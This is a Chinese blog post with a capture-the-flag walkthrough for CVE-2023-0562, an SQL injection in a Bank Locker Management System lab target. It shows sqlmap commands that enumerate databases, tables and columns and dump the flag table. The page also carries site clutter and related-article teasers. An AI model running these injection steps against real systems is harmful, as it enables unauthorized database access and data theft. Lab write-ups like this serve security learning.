春秋云境CVE-2023-0562

最新推荐文章于 2024-07-19 17:26:37 发布
最新推荐文章于 2024-07-19 17:26:37 发布
阅读量904 收藏 6
点赞数 14
分类专栏： 春秋云境 文章标签： web安全 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_64432806/article/details/137098845
版权

简介

银行储物柜管理系统是一个基于网络的应用程序，用于处理存储银行客户贵重物品的银行储物柜。储物柜的所有详细信息都保存在数据库中。银行储物柜管理系统项目是使用 PHP 和 MySQLi 扩展开发的。

正文

进入靶场，首先就看到有个bankers，点进去一看发现是个登录界面，那么我就开始尝试弱口令爆破发现没用，然后修改密码，需要邮箱和电话，恰好在主页有邮箱和电话，我尝试输入进去，然后发现这根本就是一个陷阱，没有用。

找到注入点

发现这里有个输入的地方，随便输入进去发现是个查询功能，那么就可能存在sql注入，那就话不多说，抓包上sqlmap

开始抓包

sqlmap开爆

python sqlmap.py -r 2.txt -batch -dbs

python sqlmap.py -r 2.txt -batch -D blmsdb -tables

>python sqlmap.py -r 2.txt -batch -D blmsdb -T  fllllaaaag -columns

拿下靶场

python sqlmap.py -r 2.txt -batch -D blmsdb -T  fllllaaaag -C flag -dump

是花花呢
关注
  • 14
    点赞
  • 踩
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
春秋云境 CVE-2022-4230 夺旗
05-02
介绍如何 利用 CVE-2022-4230 的 WP Statistics WordPress 插件13.2.9 漏洞利用。 漏洞描述：WP Statistics WordPress 插件13.2.9之前的版本不会转义参数，这可能允许经过身份验证的用户执行 SQL 注入攻击。默认情况下，具有管理选项功能 (admin+) 的用户可以使用受影响的功能，但是该插件有一个设置允许低权限用户也可以访问它。
春秋云镜 CVE-2023-0562
qq274575499的博客
04-07 585
银行储物柜管理系统是一个基于网络的应用程序，用于处理存储银行客户贵重物品的银行储物柜。储物柜的所有详细信息都保存在数据库中。银行储物柜管理系统项目是使用 PHP 和 MySQLi 扩展开发的。
CVE-2023-6548 和 CVE-2023-65的Citrix Netscaler/ADC-13.0-92.21 最新补丁
01-19
针对CVE-2023-6548 和 CVE-2023-6549 的 NetScaler ADC 和 NetScaler Gateway 的漏洞补丁升级包 CVE-2023-6548 ：在管理接口上执行经过身份验证的（低特权）远程代码 CVE-2023-6549：拒绝服务 2、 强烈建议受影响...
OpenSSH(CVE-2023-38408)一键升级修复-OpenSSH9.5p1
10-17
在2023年，OpenSSH发现了一个名为CVE-2023-38408的安全漏洞，这个漏洞可能允许攻击者在特定条件下绕过身份验证或执行未授权的操作，对系统安全构成威胁。为了保护您的系统不受此漏洞影响，及时升级到OpenSSH 9.5p1...
cve-2023-1454
04-24
漏洞描述： JeecgBoot是一款基于代码生成器的低代码开发平台。 企业Web应用程序的Java低代码平台JEECG-Boot（v3.5.0）最新未经授权的SQL注入。 影响范围： 攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息...
FairGuard游戏加固入选《嘶吼2024网络安全产业图谱》
FairGuard手游加固(企业官方博客)
07-19 244
FairGuard游戏加固作为游戏安全行业领先的第三方服务商，凭借技术创新、产品服务及市场反馈等多方面优异表现获得业界认可，实力入选移动应用安全细分领域。
用AI对抗AI：Fortinet解锁家电制造网络安全新密码
Fortinet_CHINA的博客
07-19 794
Fortinet盛大启幕《构筑垂直行业 网络安全防线》系列研讨会。Fortinet中国南区资深安全顾问黄志攀深入洞察家电制造行业的网络安全挑战，全面解析了Fortinet如何通过全栈AI技术重塑OT安全解决方案，以应对复杂多变的威胁环境。家电制造行业网络安全深度分析家电制造产线的安全现状普遍令人担忧，主要体现在网络架构的两极分化、显著的安全与管理风险、安全区域划分的缺失，以及OT网络面临的直接威胁。
网络安全-网络安全及其防护措施12
LS_Ai的博客
07-19 863
软件定义网络（SDN）是一种网络架构，它通过将网络的控制平面（Control Plane）从数据转发平面（Data Plane）中分离出来，并集中在一个控制器中进行管理和配置。SDN通过集中化的控制和灵活的编程接口，提供对网络的动态管理和自动化能力。软件定义广域网（SD-WAN）是一种基于软件定义网络（SDN）技术的广域网解决方案，通过集中控制和智能路由功能，优化多地点分支机构之间的网络连接。SD-WAN通过虚拟化网络功能，简化了广域网的部署和管理，提高了网络性能和应用体验。
静态IP地址在网络安全中的角色解析与实测分析
2401_85937702的博客
07-19 764
在这个网络边界日益模糊的时代，每一次点击、每一次数据传输都有着安全问题。作为网络安全体系中的基石，静态IP地址的角色显得尤为重要而复杂。今天，我们的测评团队将带您深入剖析静态IP地址在网络安全中的多重角色，并通过两家代理服务商的实测分析，为您揭开其在实际应用中的神秘面纱。
网络安全防御 -- 双机热备和带宽管理综合实验
rrl18215821889的博客
07-16 562
12，对现有网络进行改造升级，将当个防火墙组网改成双机热备的组网形式，做负载分担模式，游客区和DMZ区走FW3，生产区和办公区的流量走FW1。13，办公区上网用户限制流量不超过100M，其中销售部人员在其基础上限制流量不超过60M，且销售部一共10人，每人限制流量不超过6M。16，外网访问内网服务器，下行流量不超过40M，DMZ中的每台服务器限制对外提供的最大下行带宽不超过20M。做负载分担模式，生产区和办公区的流量走FW1，游客区和DMZ区走FW3。配置g0/0/0ip和开启服务。办公区销售部带宽策略;
Web安全：未验证的重定向和转发.
最新发布
网络安全领域___专研者.
07-19 589
未验证的重定向和转发漏洞是一种常见的Web安全漏洞，它允许攻击者将用户重定向到一个恶意的URL，而不是预期的安全URL。这种漏洞通常发生在应用程序处理重定向和转发请求时，未能对目标URL进行适当的验证和过滤。
网络安全-网络安全及其防护措施3
LS_Ai的博客
07-15 765
虚拟专用网络（VPN）是一种通过公用网络（如互联网）建立安全、加密连接的方法，使用户能够安全地访问内部网络资源。数据保密性：通过加密确保数据在传输过程中不被窃听。数据完整性：防止数据在传输过程中被篡改。远程访问：允许远程用户安全访问公司内部网络资源。隐私保护：隐藏用户的真实IP地址，保护隐私。绕过地理限制：访问受地理位置限制的内容。网络访问控制（NAC）是一种网络安全解决方案，用于管理和控制设备和用户对网络资源的访问权限。
如何保护你的网络安全？
m0_70655343的博客
07-15 796
这项服务可以抵御复杂的网络威胁，即使在最强烈的攻击下也能保证您的网站服务如常，用户几乎无感知。此外，DDoS高防服务还具备网络应用程序防火墙（WAF），采用实时监控和机器学习来保护用户的资料，防止用户资料被盗，保护服务免遭未经授权的访问，降低个人数据泄露的风险，进而防止数字资产流失。为什么它这么重要呢？打个比方，这就像是你家车库的门开关出了问题，每次你按下按钮，车库门就不停地开关，直到电池耗尽。想象一下，你家的路由器被人利用来发起攻击，就像是你家的水龙头被打开，水不停地流向别人的房子，淹没了他们的院子。
网络安全-网络安全及其防护措施11
LS_Ai的博客
07-19 720
网络安全管理指通过制定策略、采取措施和使用工具，保护网络系统、设备和数据免受未经授权的访问、攻击和破坏。目标是确保网络的保密性、完整性和可用性，防止数据泄露和服务中断。虚拟私人网络（VPN）是一种通过公共网络（如互联网）建立加密通道，使得远程用户可以安全地访问私有网络资源和数据的技术。VPN通过加密和隧道技术保护数据的安全性和隐私性，同时允许用户在不同地理位置之间建立安全的连接。
浅谈网络安全防守：从被动应对到主动管理的转变
看着博客敲代码
07-15 594
在当今的数字时代，网络安全已成为企业生存和发展的重要基石。然而，当企业的网络安全体系面临着诸如资产不清、互联网应用管理混乱、边界防火墙策略失效、长期未修复的漏洞、普遍存在的弱口令以及员工安全意识薄弱等问题时，传统的防守策略往往显得捉襟见肘。
游戏外挂的技术实现与五年脚本开发经验分享
m0_62996549的博客
07-19 537
引言： 在数字娱乐的浪潮中，电子游戏成为许多人生活中不可或缺的一部分。然而，随着游戏的普及，一些玩家为了追求更高效的游戏体验或不正当竞争优势，开始使用游戏外挂程序。这些外挂往往通过修改游戏正常运行机制来提供非法优势给使用者。作为拥有五年脚本开发经验的技术人员，我深知探索这一领域需要严谨的态度和对技术的尊重。本文将探讨游戏外挂的技术实现方法，并分享我在脚本开发领域的经验。
网络安全——防御（防火墙）带宽以及双机热备实验
Nirvana92的博客
07-15 731
12，对现有网络进行改造升级，将当个防火墙组网改成双机热备的组网形式，做负载分担模式，游客区和DMZ区走FW3，生产区和办公区的流量走FW113，办公区上网用户限制流量不超过100M，其中销售部人员在其基础上限制流量不超过60M，且销售部一共10人，每人限制流量不超过6M14，销售部保证email应用在办公时间至少可以使用10M的带宽，每个人至少1M15，移动链路采用的是100M的带宽，要求游客区用户仅能占用50M，并且基于在线地址进行动态均分。
企业在实施网络安全等级保护时需要采取哪些技术措施？
gmqqcsdn的博客
07-19 463
这些措施有助于企业构建多层次的安全防护体系，有效抵御内外部的网络安全威胁，保护企业的信息资产安全。：建立网络安全审计和检测机制，对网络系统的安全策略、安全配置、安全事件等进行全面审计和检测。：建立网络安全事件处置机制，对网络安全事件进行及时响应和处理，减少安全事件对网络系统的影响。：建立网络入侵检测和防御系统，实时监测和识别网络攻击行为，并采取相应的措施进行防范和反击。：采取适当的隔离措施，确保不同安全等级的网络之间的安全隔离和访问控制。：定期更新系统和应用程序的安全补丁，以修补已知漏洞，减少安全风险。
春秋云境CVE-2022-29464
09-05
春秋云境CVE-2022-29464是指WSO2 API Manager 文件上传漏洞的CVE编号。这个漏洞允许攻击者通过上传恶意文件来执行任意代码，进而导致服务器受到攻击。根据引用，在GitHub上有一个项目，其中包含了与该漏洞相关的利用代码和解释。引用提供了一个具体的漏洞利用脚本的地址。如果您想了解更多关于该漏洞的细节和分析，可以参考引用中提到的文章。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [【春秋云境】CVE-2022-29464](https://blog.csdn.net/m0_49025459/article/details/130400369)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [春秋云境靶场 WSO2文件上传漏洞（CVE-2022-29464）](https://blog.csdn.net/qq_52923396/article/details/131832217)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值